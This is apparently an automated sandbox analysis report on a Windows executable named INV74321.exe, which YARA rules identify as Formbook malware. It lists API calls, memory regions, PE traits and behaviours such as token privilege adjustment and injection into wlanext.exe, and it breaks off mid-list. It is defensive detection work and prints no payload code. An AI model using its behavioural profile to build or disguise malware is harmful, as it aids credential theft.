Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19A50 NtCreateFile,LdrInitializeThunk,		1_2_00B19A50
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B195D0 NtClose,LdrInitializeThunk,		1_2_00B195D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19540 NtReadFile,LdrInitializeThunk,		1_2_00B19540
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B196E0 NtFreeVirtualMemory,LdrInitializeThunk,		1_2_00B196E0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19660 NtAllocateVirtualMemory,LdrInitializeThunk,		1_2_00B19660
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B197A0 NtUnmapViewOfSection,LdrInitializeThunk,		1_2_00B197A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19780 NtMapViewOfSection,LdrInitializeThunk,		1_2_00B19780
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19FE0 NtCreateMutant,LdrInitializeThunk,		1_2_00B19FE0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19710 NtQueryInformationToken,LdrInitializeThunk,		1_2_00B19710
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B198A0 NtWriteVirtualMemory,		1_2_00B198A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19820 NtEnumerateKey,		1_2_00B19820
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1B040 NtSuspendThread,		1_2_00B1B040
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B199D0 NtCreateProcessEx,		1_2_00B199D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19950 NtQueueApcThread,		1_2_00B19950
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19A80 NtOpenDirectoryObject,		1_2_00B19A80
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19A10 NtQuerySection,		1_2_00B19A10
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1A3B0 NtGetContextThread,		1_2_00B1A3B0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19B00 NtSetValueKey,		1_2_00B19B00
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B195F0 NtQueryInformationFile,		1_2_00B195F0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1AD30 NtSetContextThread,		1_2_00B1AD30
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19520 NtWaitForSingleObject,		1_2_00B19520
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19560 NtWriteFile,		1_2_00B19560
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B196D0 NtCreateKey,		1_2_00B196D0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19610 NtEnumerateValueKey,		1_2_00B19610
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19670 NtQueryInformationProcess,		1_2_00B19670
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19650 NtQueryValueKey,		1_2_00B19650
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19730 NtQueryVirtualMemory,		1_2_00B19730
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1A710 NtOpenProcessToken,		1_2_00B1A710
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19770 NtSetInformationFile,		1_2_00B19770
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B1A770 NtOpenThread,		1_2_00B1A770
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B19760 NtOpenProcess,		1_2_00B19760
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004181C0 NtCreateFile,		1_1_004181C0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_00418270 NtReadFile,		1_1_00418270
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004182F0 NtClose,		1_1_004182F0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004183A0 NtAllocateVirtualMemory,		1_1_004183A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004181BA NtCreateFile,		1_1_004181BA
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_0041826C NtReadFile,		1_1_0041826C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_004182EA NtClose,		1_1_004182EA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789A50 NtCreateFile,LdrInitializeThunk,		8_2_03789A50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789910 NtAdjustPrivilegesToken,LdrInitializeThunk,		8_2_03789910
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037899A0 NtCreateSection,LdrInitializeThunk,		8_2_037899A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789860 NtQuerySystemInformation,LdrInitializeThunk,		8_2_03789860
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789840 NtDelayExecution,LdrInitializeThunk,		8_2_03789840
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789710 NtQueryInformationToken,LdrInitializeThunk,		8_2_03789710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789FE0 NtCreateMutant,LdrInitializeThunk,		8_2_03789FE0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789780 NtMapViewOfSection,LdrInitializeThunk,		8_2_03789780
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789660 NtAllocateVirtualMemory,LdrInitializeThunk,		8_2_03789660
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789650 NtQueryValueKey,LdrInitializeThunk,		8_2_03789650
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037896E0 NtFreeVirtualMemory,LdrInitializeThunk,		8_2_037896E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037896D0 NtCreateKey,LdrInitializeThunk,		8_2_037896D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789540 NtReadFile,LdrInitializeThunk,		8_2_03789540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037895D0 NtClose,LdrInitializeThunk,		8_2_037895D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789B00 NtSetValueKey,		8_2_03789B00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378A3B0 NtGetContextThread,		8_2_0378A3B0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789A20 NtResumeThread,		8_2_03789A20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789A10 NtQuerySection,		8_2_03789A10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789A00 NtProtectVirtualMemory,		8_2_03789A00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789A80 NtOpenDirectoryObject,		8_2_03789A80
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789950 NtQueueApcThread,		8_2_03789950
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037899D0 NtCreateProcessEx,		8_2_037899D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378B040 NtSuspendThread,		8_2_0378B040
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789820 NtEnumerateKey,		8_2_03789820
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037898F0 NtReadVirtualMemory,		8_2_037898F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037898A0 NtWriteVirtualMemory,		8_2_037898A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378A770 NtOpenThread,		8_2_0378A770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789770 NtSetInformationFile,		8_2_03789770
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789760 NtOpenProcess,		8_2_03789760
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789730 NtQueryVirtualMemory,		8_2_03789730
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378A710 NtOpenProcessToken,		8_2_0378A710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037897A0 NtUnmapViewOfSection,		8_2_037897A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789670 NtQueryInformationProcess,		8_2_03789670
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789610 NtEnumerateValueKey,		8_2_03789610
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789560 NtWriteFile,		8_2_03789560
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0378AD30 NtSetContextThread,		8_2_0378AD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03789520 NtWaitForSingleObject,		8_2_03789520
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037895F0 NtQueryInformationFile,		8_2_037895F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C83A0 NtAllocateVirtualMemory,		8_2_030C83A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C8270 NtReadFile,		8_2_030C8270
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C82F0 NtClose,		8_2_030C82F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C81C0 NtCreateFile,		8_2_030C81C0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C826C NtReadFile,		8_2_030C826C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C82EA NtClose,		8_2_030C82EA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030C81BA NtCreateFile,		8_2_030C81BA

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Detected potential crypto function

Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_00406945		0_2_00406945
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 0_2_0040711C		0_2_0040711C
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00401030		1_2_00401030
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00408C5B		1_2_00408C5B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00408C60		1_2_00408C60
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041C538		1_2_0041C538
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00402D89		1_2_00402D89
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00402D90		1_2_00402D90
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_0041C7A0		1_2_0041C7A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00402FB0		1_2_00402FB0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B020A0		1_2_00B020A0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA20A8		1_2_00BA20A8
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AEB090		1_2_00AEB090
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B91002		1_2_00B91002
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF4120		1_2_00AF4120
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00ADF900		1_2_00ADF900
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA22AE		1_2_00BA22AE
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B0EBB0		1_2_00B0EBB0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B9DBD2		1_2_00B9DBD2
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA2B28		1_2_00BA2B28
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AE841F		1_2_00AE841F
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00B02581		1_2_00B02581
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AED5E0		1_2_00AED5E0
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA25DD		1_2_00BA25DD
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AD0D20		1_2_00AD0D20
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA2D07		1_2_00BA2D07
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA1D55		1_2_00BA1D55
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA2EF7		1_2_00BA2EF7
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00AF6E30		1_2_00AF6E30
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_2_00BA1FF1		1_2_00BA1FF1
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_00401030		1_1_00401030
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_00408C5B		1_1_00408C5B
Source: C:\Users\user\Desktop\INV74321.exe	Code function: 1_1_00408C60		1_1_00408C60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380DBD2		8_2_0380DBD2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03812B28		8_2_03812B28
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377EBB0		8_2_0377EBB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038122AE		8_2_038122AE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374F900		8_2_0374F900
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038120A8		8_2_038120A8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038128EC		8_2_038128EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03801002		8_2_03801002
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0381E824		8_2_0381E824
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375B090		8_2_0375B090
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0381DFCE		8_2_0381DFCE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03811FF1		8_2_03811FF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03766E30		8_2_03766E30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03812EF7		8_2_03812EF7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380D616		8_2_0380D616
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03740D20		8_2_03740D20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038125DD		8_2_038125DD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03812D07		8_2_03812D07
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375D5E0		8_2_0375D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03811D55		8_2_03811D55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772581		8_2_03772581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375841F		8_2_0375841F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380D466		8_2_0380D466
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CC7A0		8_2_030CC7A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030B2FB0		8_2_030B2FB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030CC538		8_2_030CC538
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030B2D89		8_2_030B2D89
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030B2D90		8_2_030B2D90
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030B8C5B		8_2_030B8C5B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_030B8C60		8_2_030B8C60

Found potential string decryption / allocating functions

Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 0374B150 appears 35 times
Source: C:\Users\user\Desktop\INV74321.exe	Code function: String function: 00ADB150 appears 35 times
Source: C:\Users\user\Desktop\INV74321.exe	Code function: String function: 0041A0A0 appears 38 times

PE file contains strange resources

Source: INV74321.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: INV74321.exe, 00000000.00000003.208336740.0000000002C7F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs INV74321.exe
Source: INV74321.exe, 00000000.00000002.221214353.0000000000A70000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs INV74321.exe
Source: INV74321.exe, 00000001.00000002.257734527.0000000000D5F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs INV74321.exe
Source: INV74321.exe, 00000001.00000002.257457719.0000000000A62000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamewlanext.exej% vs INV74321.exe

Uses 32bit PE files

Source: INV74321.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Yara signature match

Source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.472051728.00000000030B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.257352957.00000000009A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.473219825.0000000003600000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.215550153.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.INV74321.exe.29a0000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.INV74321.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.INV74321.exe.29a0000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.INV74321.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/3@16/7

Contains functionality to adjust token privileges (e.g. debug / backup)

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_0040460D GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040460D

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,

0_2_0040216B

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_01

Creates temporary files

Source: C:\Users\user\Desktop\INV74321.exe

File created: C:\Users\user\AppData\Local\Temp\nso60E4.tmp

Jump to behavior

PE file has an executable .text section and no other executable section

Source: INV74321.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Source: C:\Users\user\Desktop\INV74321.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

